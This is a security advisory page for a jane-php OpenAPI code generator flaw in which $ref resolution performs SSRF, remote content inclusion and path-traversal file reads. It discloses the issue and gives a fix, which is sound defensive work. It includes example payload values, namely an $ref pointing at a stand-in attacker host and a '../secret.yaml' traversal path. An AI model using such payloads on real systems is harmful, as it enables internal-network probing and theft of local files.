Jane: $ref resolution performs SSRF + LFI (path traversal) at code-generation time (jane-php)
Summary
jane-php resolves external $ref targets at code-generation time via file_get_contents($ref) (jane-php/json-schema-runtime/Reference.php::doResolve) with no scheme/path restriction. An attacker-controlled OpenAPI document can therefore cause: $ref: 'http://attacker/x' -> SSRF (HTTP GET at gen time; response inlined = RFI); $ref: '/abs/file' -> LFI; $ref: '../secret.yaml' -> path-traversal LFI (CWE-22, arbitrary local JSON/YAML read). Verified 7.11.2/PHP8.1 (listener records the fetch; remote + ../ local content inlined into the generated code). file:// rejected. CWE-918/CWE-98/CWE-611/CWE-22.
Details
// Reference.php::doResolve()
$contents = file_get_contents($fragment); // $fragment = attacker-controlled $ref URI
Impact
Generating PHP with jane from an attacker-influenced OpenAPI document issues HTTP requests to attacker-chosen URLs (SSRF — internal services, cloud metadata) and reads arbitrary local files (LFI via ../), at build/CI time, inlining results into the output.
PoC
reproduce.sh (+ make_spec.py, gen.php): runs jane on a remote-$ref spec (local listener records the SSRF, output checked for the inlined response) and a ../-traversal local-$ref spec (output checked for the leaked file).
Suggested fix
Disable remote $ref fetching by default (or allow-list); confine local $ref to the spec directory (reject absolute paths and ..). Don't file_get_contents($ref) on attacker-controlled URIs.
maintainer-report.txt reproduce.sh gen.php make_spec.py
What to do
Upgrade jane-php/open-api-3 to version 7.12.0 or later.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Composer package | jane-php/open-api-3 | < 7.12.0 | 7.12.0 |
References
- https://github.com/janephp/janephp/security/advisories/GHSA-c3cj-3p6p-j822
- https://nvd.nist.gov/vuln/detail/CVE-2026-63415
- https://github.com/janephp/janephp/pull/961
- https://github.com/janephp/janephp/commit/75f2bbf79ca2f2eeb13080a2cebded1263396b49
- https://github.com/janephp/janephp
- https://github.com/janephp/janephp/releases/tag/v7.12.0
- CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N- Weakness (CWE)
CWE-22, CWE-611, CWE-918, CWE-98- Platform
- Composer
- Package
jane-php/open-api-3- Disclosed
- 20.11.2026
- Updated
- 22.11.2026 10:00
Sources and licenses · Edited or translated by DockRay; source rights and applicable licenses are retained.
OSV / GitHub Advisory Database - GHSA-c3cj-3p6p-j822 - CC BY 4.0
Vulnerability history: jane-php/open-api-3
All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 4
- First → latest
- 11.2026 11.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 3
- High 1
Disclosures per year
- 2026: 4
-
Jane: $ref resolution performs SSRF + LFI (path traversal) at code-generation time (jane-php) this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.